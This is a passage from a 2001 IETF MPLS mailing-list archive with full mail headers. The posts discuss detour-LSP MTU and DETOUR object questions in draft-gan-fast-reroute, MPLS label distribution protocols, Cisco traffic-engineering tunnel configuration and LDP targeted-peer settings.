	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllgx06795
	for <mpls@UU.NET>; Thu, 18 Oct 2001 13:46:40 GMT
Received: from zcars0m9.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQllgx07535
	for <mpls@UU.NET>; Thu, 18 Oct 2001 13:46:57 GMT
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f9IDk4S02731
	for <mpls@UU.NET>; Thu, 18 Oct 2001 09:46:04 -0400 (EDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.ca.nortel.com; Thu, 18 Oct 2001 09:46:31 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <4SX64Q45>; Thu, 18 Oct 2001 09:45:53 -0400
Message-ID: <3549C09B853DD5119B540002A52CDD345FEA77@zcard0ka.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: Sundara Murugan <sundar@pluris.com>,
        "'Arthi Ayyangar '" <ayyangar@apollo.mctr.umbc.edu>,
        "'francis.arts@alcatel.be '" <francis.arts@alcatel.be>
Cc: "'Alia Atlas '" <aatlas@avici.com>, "'mpls@UU.NET '" <mpls@UU.NET>
Subject: RE: draft-gan-fast-reroute
Date: Thu, 18 Oct 2001 09:45:54 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C157DB.3579E5C0"
X-Orig: <dallan@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C157DB.3579E5C0
Content-Type: text/plain;
	charset="iso-8859-1"

OK, so that has some utility. If specify my service requirement in the TSpec
and the Adspec and that is what is echoed in the flow spec, then presumably
that becomes the MTU size to which detour MTUs would be compared and I will
not chuck perfectly good detours simply because they have a smaller MTU than
some large number I don't need anyway.
 
Now if the service requirement is very close or equal to the path, creating
a viable protected path becomes very hit or miss. So we need a different
dimension of "over-engineering" ;-)
 
Dave
 
-----Original Message-----
From: Sundara Murugan [mailto:sundar@pluris.com]
Sent: Wednesday, October 17, 2001 7:20 PM
To: Allan, David [CAR:NS00:EXCH]; Sundara Murugan; 'Arthi Ayyangar ';
'francis.arts@alcatel.be '
Cc: 'Alia Atlas '; 'mpls@UU.NET '
Subject: RE: draft-gan-fast-reroute



Dave,
    You can request the MTU size you want by specifying it in the TSpec and
in the Adspec. Routers along the path update the Adspec MTU if its interface
MTU is lower than the received Adspec MTU.
 
When the Path message reaches the egress, the egress will know the MTU size
than can be supported by all the routers along the path. Then It can specify
this MTU in the flow spec. When the resv message reaches the ingress it can
either accept the resv or deny it.
 
-sundara

-----Original Message-----
From: David Allan [mailto:dallan@nortelnetworks.com]
Sent: Friday, October 12, 2001 1:13 PM
To: Sundara Murugan; 'Arthi Ayyangar '; 'francis.arts@alcatel.be '
Cc: 'Alia Atlas '; 'mpls@UU.NET '
Subject: RE: draft-gan-fast-reroute



Sundara: 

If the detour MTU must be >= the main LSP MTU, how is this achieved? If I
understand the protocol flows correctly, you only know what you got, you
cannot request a specific MTU. So there is not a method to easily find a
useful detour, and does this not disqualify perfectly good detour
opportunities when the RESV MTU for the main path exceeds the service
requirement?

thanks 
Dave 


------_=_NextPart_001_01C157DB.3579E5C0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: draft-gan-fast-reroute</TITLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=086582313-18102001>OK, so 
that has some utility. If specify my service requirement in the TSpec and the 
Adspec and that is what is echoed in the flow spec, then presumably that becomes 
the MTU size to which detour MTUs&nbsp;would be compared and I will not chuck 
perfectly good detours simply because they have a smaller MTU than some large 
number I don't need anyway.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=086582313-18102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=086582313-18102001>Now if 
the service requirement is very close or equal to the path,&nbsp;creating a 
viable protected path&nbsp;becomes very hit or miss. So we need a different 
dimension of "over-engineering" ;-)</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=086582313-18102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=086582313-18102001>Dave</SPAN></FONT></DIV>
<DIV><SPAN class=086582313-18102001></SPAN><FONT face=Tahoma><FONT size=2><SPAN 
class=086582313-18102001><FONT color=#0000ff 
face=Arial>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
<DIV><FONT face=Tahoma><FONT size=2>-----Original Message-----<BR><B>From:</B> 
Sundara Murugan [mailto:sundar@pluris.com]<BR><B>Sent:</B> Wednesday, October 
17, 2001 7:20 PM<BR><B>To:</B> Allan, David [CAR:NS00:EXCH]; Sundara Murugan; 
'Arthi Ayyangar '; 'francis.arts@alcatel.be '<BR><B>Cc:</B> 'Alia Atlas '; 
'mpls@UU.NET '<BR><B>Subject:</B> RE: 
draft-gan-fast-reroute<BR><BR></DIV></FONT>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px"></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=968241423-17102001>Dave,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=968241423-17102001>&nbsp;&nbsp;&nbsp; You can request the MTU size you 
  want by specifying&nbsp;it in the TSpec and in the Adspec. Routers along the 
  path update the Adspec MTU if&nbsp;its&nbsp;interface MTU is lower than the 
  received Adspec MTU.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=968241423-17102001>&nbsp;</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=968241423-17102001>When 
  the Path message reaches the egress, the egress will know the MTU size than 
  can be supported by all the routers along the path. Then It can specify this 
  MTU in the flow spec. When the resv message reaches the ingress it can either 
  accept the resv or deny it.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=968241423-17102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=968241423-17102001>-sundara</SPAN></FONT></DIV>
  <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
    size=2>-----Original Message-----<BR><B>From:</B> David Allan 
    [mailto:dallan@nortelnetworks.com]<BR><B>Sent:</B> Friday, October 12, 2001 
    1:13 PM<BR><B>To:</B> Sundara Murugan; 'Arthi Ayyangar '; 
    'francis.arts@alcatel.be '<BR><B>Cc:</B> 'Alia Atlas '; 'mpls@UU.NET 
    '<BR><B>Subject:</B> RE: draft-gan-fast-reroute<BR><BR></DIV></FONT>
    <P><FONT size=2>Sundara:</FONT> </P>
    <P><FONT size=2>If the detour MTU must be &gt;= the main LSP MTU, how is 
    this achieved? If I understand the protocol flows correctly, you only know 
    what you got, you cannot request a specific MTU. So there is not a method to 
    easily find a useful detour, and does this not disqualify perfectly good 
    detour opportunities when the RESV MTU for the main path exceeds the service 
    requirement?</FONT></P>
    <P><FONT size=2>thanks</FONT> <BR><FONT size=2>Dave</FONT> 
</P></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C157DB.3579E5C0--


From owner-mpls@UU.NET  Thu Oct 18 10:23:33 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10956
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 10:23:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllgz25906;
	Thu, 18 Oct 2001 14:20:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllgz06722
	for mpls-outgoing; Thu, 18 Oct 2001 14:20:11 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllgz06714
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 14:20:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllgz18069
	for <mpls@uu.net>; Thu, 18 Oct 2001 14:19:00 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllgz00283
	for <mpls@uu.net>; Thu, 18 Oct 2001 14:19:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA15629 for <mpls@uu.net>; Thu, 18 Oct 2001 10:18:59 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA02537 for mpls@uu.net; Thu, 18 Oct 2001 10:18:59 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllfs24583
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 06:07:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllfs20146
	for <mpls@UU.NET>; Thu, 18 Oct 2001 06:06:20 GMT
Received: from leonis.nus.edu.sg by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: leonis.nus.edu.sg [137.132.1.18])
	id QQllfs08233
	for <mpls@UU.NET>; Thu, 18 Oct 2001 06:06:35 GMT
Received: from cfcir3 (cf-cir3.ddns.comp.nus.edu.sg [137.132.82.206])
	by leonis.nus.edu.sg (8.10.0/8.10.0) with SMTP id f9I65ZE14168;
	Thu, 18 Oct 2001 14:05:35 +0800 (SST)
Message-ID: <015101c1579a$7da9baa0$ce528489@cfcir3>
Reply-To: "Ding Aijun" <dingaijun@sina.com>
From: "Ding Aijun" <dingaijun@sina.com>
To: "pradeep n" <nmnpradeep@yahoo.com>, <mpls@UU.NET>
References: <20011018054728.31636.qmail@web14706.mail.yahoo.com>
Subject: Re: Regarding MPLS Label
Date: Thu, 18 Oct 2001 14:02:38 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

You have to have some basic knowledge. I suggest you start from some
informative books, such as Eric Gary's "MPLS : implementing the technology",
or Uyless Black's "MPLS and label switching networks".

regards,
aijun

----- Original Message -----
From: "pradeep n" <nmnpradeep@yahoo.com>
To: <mpls@UU.NET>
Sent: Thursday, October 18, 2001 1:47 PM
Subject: Regarding MPLS Label


> Hello *,
> Wanted more details how the labels are assigned,
> Label Distribution. How LSE/LSR forwarding table is
> built.
>
> Pradeep
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Make a great connection at Yahoo! Personals.
> http://personals.yahoo.com
>
>



From owner-mpls@UU.NET  Thu Oct 18 11:01:47 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12107
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 11:01:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllhb23946;
	Thu, 18 Oct 2001 14:58:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllhb08930
	for mpls-outgoing; Thu, 18 Oct 2001 14:58:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllhb08923
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 14:58:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllhb06648
	for <mpls@UU.NET>; Thu, 18 Oct 2001 14:55:52 GMT
Received: from vill.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQllhb21220
	for <mpls@UU.NET>; Thu, 18 Oct 2001 14:56:09 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id KAA17313;
	Thu, 18 Oct 2001 10:55:45 -0400 (EDT)
Message-ID: <3BCEEE35.E34E7ECE@vill.com>
Date: Thu, 18 Oct 2001 10:59:01 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: francis.arts@alcatel.be
CC: mpls@UU.NET
Subject: Re: draft-gan-fast-reroute
References: <OFB173B158.7C31EE09-ONC1256AE9.0030DB8C@net.alcatel.be>
Content-Type: multipart/alternative;
 boundary="------------D511AF1B13AD524D72187982"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------D511AF1B13AD524D72187982
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Francis,

See section 4.3 in the draft. It says the detour lsp "MUST" have the
DETOUR object.
The presence of the detour object allows the detour merging node to
differentiate
main LSP from detour LSP which it has to merge with the main LSP.

Irfan

francis.arts@alcatel.be wrote:

>
> Hello,
>
> What is the use of having the DETOUR object in
> <draft-gan-fast-reroute>? Let me clarify (see drawing below).
>
> When node 2 establishes the detour to node 4, it sends a PATH message
> to node 4. This PATH message contains the ERO of the detour [node 2 -
> node 4]. Since node 2 has calculated this ERO to avoid the downstream
> router (node 3), what is then the use of having the DETOUR object in
> this PATH message? If it serves no purpose, why not just remove it?
>
>         Node1 ====> Node2 ======> Node3 =====> Node4 ======> node 5
>                       v                       ^
>                       |                       |
>                       +-----------------------+
>
>
>          Francis.

--
Irfan Lateef
Village Networks Inc,


--------------D511AF1B13AD524D72187982
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Francis,
<p>See section 4.3 in the draft. It says the detour lsp "MUST" have the
DETOUR object.
<br>The presence of the detour object allows the detour merging node to&nbsp;
differentiate
<br>main LSP from detour LSP which it has to merge with the main LSP.
<p>Irfan
<p>francis.arts@alcatel.be wrote:
<blockquote TYPE=CITE>&nbsp;
<br><tt><font size=-1>Hello,</font></tt>
<p><font face="sans-serif"><font size=-1>What is the use of having the
DETOUR object in </font><font size=-2>&lt;draft-gan-fast-reroute</font><font size=-1>>?
</font></font><tt><font size=-1>Let me clarify (see drawing below).</font></tt>
<p><tt><font size=-1>When node 2 establishes the detour to node 4, it sends
a PATH message to node 4. This PATH message contains the ERO of the detour
[node 2 - node 4]. Since node 2 has calculated this ERO to avoid the downstream
router (node 3), what is then the use of having the DETOUR object in this
PATH message? If it serves no purpose, why not just remove it?</font></tt>
<p><tt><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Node1 ====>
Node2 ======> Node3 =====> Node4 ======> node 5</font></tt>
<br><tt><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^</font></tt>
<br><tt><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</font></tt>
<br><tt><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+-----------------------+</font></tt>
<br>&nbsp;
<p><tt><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Francis.</font></tt></blockquote>

<p>--
<br>Irfan Lateef
<br>Village Networks Inc,
<br>&nbsp;</html>

--------------D511AF1B13AD524D72187982--



From owner-mpls@UU.NET  Thu Oct 18 17:08:43 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19809
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 17:08:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllia14420;
	Thu, 18 Oct 2001 21:06:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllia13309
	for mpls-outgoing; Thu, 18 Oct 2001 21:05:53 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllia13244
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 21:05:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllia08647
	for <mpls@UU.NET>; Thu, 18 Oct 2001 21:05:41 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllia12652
	for <mpls@UU.NET>; Thu, 18 Oct 2001 21:05:32 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA06225
	for <mpls@UU.NET>; Thu, 18 Oct 2001 17:05:39 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA05215
	for <mpls@UU.NET>; Thu, 18 Oct 2001 17:05:39 -0400 (EDT)
Message-ID: <3BCF4420.FE96F261@marconi.com>
Date: Thu, 18 Oct 2001 17:05:36 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Regarding MPLS Label
References: <20011018054728.31636.qmail@web14706.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

pradeep n wrote:
> 
>         Wanted more details how the labels are assigned,
> Label Distribution. How LSE/LSR forwarding table is
> built.

They are either manually configured on every router, or they are
signaled using a signaling protocol.  Standard signaling protocols for
MPLS are LDP, CR-LDP and RSVP-TE.  The IETF documents describing these
protocols are:

LDP: RFC 3036
CR-LDP: draft-ietf-mpls-cr-ldp-05
RSVP-TE: draft-ietf-mpls-rsvp-lsp-tunnel-09

-- David


From owner-mpls@UU.NET  Fri Oct 19 05:28:38 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA12997
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 05:28:37 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlljx29070;
	Fri, 19 Oct 2001 09:27:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlljx07347
	for mpls-outgoing; Fri, 19 Oct 2001 09:26:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlljx07333
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 09:26:19 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlljx10782
	for <mpls@uu.net>; Fri, 19 Oct 2001 09:16:46 GMT
Received: from mail2.registeredsite.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail2.registeredsite.com [64.224.9.11])
	id QQlljx11257
	for <mpls@uu.net>; Fri, 19 Oct 2001 09:16:37 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail2.registeredsite.com (8.11.6/8.11.4) with ESMTP id f9J8MXW24696
	for <mpls@uu.net>; Fri, 19 Oct 2001 04:22:34 -0400
Date: Fri, 19 Oct 2001 05:16:42 -0400
Message-Id: <200110190516.AA275645024@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: Traffic Engineering
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

In cisco's manual "Configuring Multiprotocol Label Switching" I found the following set of configuration commands under the headings
 
1. Configuring MPLS Traffic Engineering Paths
Router(config)# interface tunnel 2003
Router(config-if)# ip unnumbered e0/1 
Router(config-if)# tunnel mode tag-switching 
Router(config-if)# tunnel tsp-hop 1 10.10.0.103
Router(config-if)# tunnel tsp-hop 2 10.11.0.105
Router(config-if)# tunnel tsp-hop 3 10.12.0.108
Router(config-if)# tunnel tsp-hop 4 10.13.0.110 lasthop
Router(config-if)# exit
 
2.Configuring an MPLS Traffic Engineering Tunnel
configure terminal
interface tunnel1
  ip unnumbered loopback 0
  tunnel destination 17.17.17.17
  tunnel mode mpls traffic-eng
  tunnel mpls traffic-eng autoroute announce
  tunnel mpls traffic-eng bandwidth 100
  tunnel mpls traffic-eng priority 1 1
  tunnel mpls traffic-eng path-option 1 dynamic
 
now create the path called 1
configure terminal
ip explicit-path identifier 1
 next-address 131.0.0.1 
 next-address 135.0.0.1 
 next-address 136.0.0.1 
 next-address 133.0.0.1 
 
what is the difference between traffic engineering tunnel and Traffic engineering path ?

Krishnakanth



From owner-mpls@UU.NET  Fri Oct 19 09:27:49 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18350
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 09:27:48 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllkn07461;
	Fri, 19 Oct 2001 13:25:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllkn12581
	for mpls-outgoing; Fri, 19 Oct 2001 13:24:43 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllkn12576
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 13:24:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllkn22492
	for <mpls@uu.net>; Fri, 19 Oct 2001 13:16:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllkn25779
	for <mpls@uu.net>; Fri, 19 Oct 2001 13:16:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA07754 for <mpls@uu.net>; Fri, 19 Oct 2001 09:16:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA01118 for mpls@uu.net; Fri, 19 Oct 2001 09:16:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllkn11818
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 13:15:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllkm20867
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:14:32 GMT
Received: from hawk.CrescentNetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hawk.crescentnetworks.com [66.105.92.144])
	id QQllkm15674
	for <mpls@UU.NET>; Fri, 19 Oct 2001 13:14:23 GMT
Received: from crescentnetworks.com (jcucchiara.in.crescentnets.com [192.168.29.132])
	by hawk.CrescentNetworks.com (8.9.3/8.9.3) with ESMTP id JAA25691;
	Fri, 19 Oct 2001 09:13:45 -0400 (EDT)
Message-ID: <3BD02776.428D9614@crescentnetworks.com>
Date: Fri, 19 Oct 2001 09:15:34 -0400
From: Joan Cucchiara <jcucchia@CrescentNetworks.com>
Organization: Crescent Networks
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: nagabhushana.ramaswamy@wipro.com
CC: mpls@UU.NET
Subject: Re: targeted peer configuration in LDP...
References: <Pine.LNX.4.31.0110181348060.6955-100000@boochi.alc.wipinfo.soft.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



Nagabhushana Ramaswamy Nadig wrote:
> 
> Hello,
>         Good 'AfterNoon/Evening/Morning' to all. Section "2.4.2. Extended
> Discovery Mechanism" of RFC 3036 says
> 
> "To engage in LDP Extended Discovery an LSR periodically sends LDP
>    Targeted Hellos to a specific address." -- so this means that it has to
> be configured on the LSR.
> 
> similarly it says --
> "       One LSR initiates Extended Discovery with another targeted LSR,
>          and the targeted LSR decides whether to respond to or ignore
>          the Targeted Hello." -- so the acceptable targets are also
> configured on an LSR.
> 
> but the entity Table in the LSR Mib has only one element called
> "targeted peer address".
> 
> so does this field correspond to both the above configurations of "address
> to which I should send the targeted hello and the address from which I can
> accept a targeted connection"?

yes.

> 
> If not then to which of them? and what about the other one?
> Also how do I configure more than one targeted peer for an entity through
> the LDP MIB?

I'm not clear on what you are trying to do.  Each Entity represented by
a unique mplsLdpEntityLdpId
has a relationship with a peer.  This entity is a way to set up for
exchanging label range
info and such with a peer.  At that point the peer and entity negotiate
until they agree upon
a label range and other info.  One entity can't exchange the same info
with multiple peers.

Once a label range is agreed to between an entity and peer, that label
range should be deemed
"in use".  

It would not be possible to use the same label ranges for the same LdpId
over and over (even if
you are talking to other peers).  That is why it's negotiated and agreed
to prior to establishing
sessions.

  -Joan

> 
> regards
> Bhushana



From owner-mpls@UU.NET  Fri Oct 19 09:55:11 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19131
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 09:55:11 -0400 (EDT)
